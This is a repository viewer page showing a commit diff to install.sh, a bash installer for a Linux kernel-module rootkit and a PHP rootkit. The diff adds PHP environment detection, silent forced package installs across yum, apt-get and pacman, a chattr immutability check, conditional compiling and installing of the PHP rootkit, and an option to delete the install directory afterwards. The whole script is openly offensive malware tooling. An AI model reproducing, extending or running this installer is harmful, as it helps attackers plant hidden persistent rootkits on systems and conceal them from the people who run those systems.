Browse Source

Default

master
Root 5 years ago
parent
commit
c2acf13036
  1. 51
      install.sh

51
install.sh

@ -1,5 +1,10 @@ @@ -1,5 +1,10 @@
#!/bin/bash
## TODO:
## * Check for DNF - and utilize.
## * Check for PHP if an env exists, check for phpize, else install dev stuff \
## ** and then continue with rkphp, else forget about it.
# Errors and Fatals
[ $(uname) != "Linux" ] &&
{
@ -28,19 +33,34 @@ CHATTR_OUTPUT=$(touch children; chattr +ia children &>output; cat output) @@ -28,19 +33,34 @@ CHATTR_OUTPUT=$(touch children; chattr +ia children &>output; cat output)
chattr -ia children &>/dev/null
rm -f children output
mkdir -p logs/
mkdir -p bin/
mkdir -p logs/ bin/
install_prerequisites ()
{
HAVE_PHP=0
if [ -f /usr/bin/yum ]; then
yum install -y -q -e 0 attr make gcc libgcc glibc-devel glibc-static &>/dev/null
elif [ -f /usr/bin/apt-get ]; then
apt-get --yes --force-yes update &>/dev/null
apt-get --yes --force-yes install attr gcc-multilib build-essential &>/dev/null
PHP_OUTPUT=$(php -v &>output; cat output)
[[ $PHP_OUTPUT != *"not found"* ]] &&
{
echo "PHP envionment detected!"
HAVE_PHP=1
apt-get --yes --force-yes install php-dev &>/dev/null
}
rm -f output
elif [ -f /usr/bin/pacman ]; then
pacman -Syy &>/dev/null
pacman -S --noconfirm attr base-devel &>/dev/null
PHP_OUTPUT=$(php -v &>output; cat output)
[[ $PHP_OUTPUT != *"not found"* ]] &&
{
echo "PHP envionment detected!"
HAVE_PHP=1
}
rm -f output
fi
}
@ -114,6 +134,7 @@ install_rkphp () @@ -114,6 +134,7 @@ install_rkphp ()
echo "Installing prerequisite packages."
install_prerequisites
exit
echo "Prerequisite packages installed!"
echo "Compiling LKM rootkit."
@ -128,17 +149,21 @@ install_rkkern @@ -128,17 +149,21 @@ install_rkkern
echo "LKM Rootkit installed!"
sleep 2
echo "Compiling PHP Rootkit."
sleep 2
compile_rkphp_debug
echo "PHP Rootkit compiled!"
sleep 2
echo "Installing PHP Rootkit."
sleep 2
install_rkphp
echo "PHP Rootkit installed!"
sleep 2
if [ "$HAVE_PHP" -eq "1" ]; then
echo "Compiling PHP Rootkit."
sleep 2
compile_rkphp_debug
echo "PHP Rootkit compiled!"
sleep 2
echo "Installing PHP Rootkit."
sleep 2
install_rkphp
echo "PHP Rootkit installed!"
sleep 2
else
echo "Unable to detect any sort of PHP Environment, skipping rkphp build!"
fi
read -p "Would you like to automatically remove this directory (`pwd`) on exit? (YES/NO) (case-sensitive) [NO]: "
if [ -z $REPLY ]; then

Loading…
Cancel
Save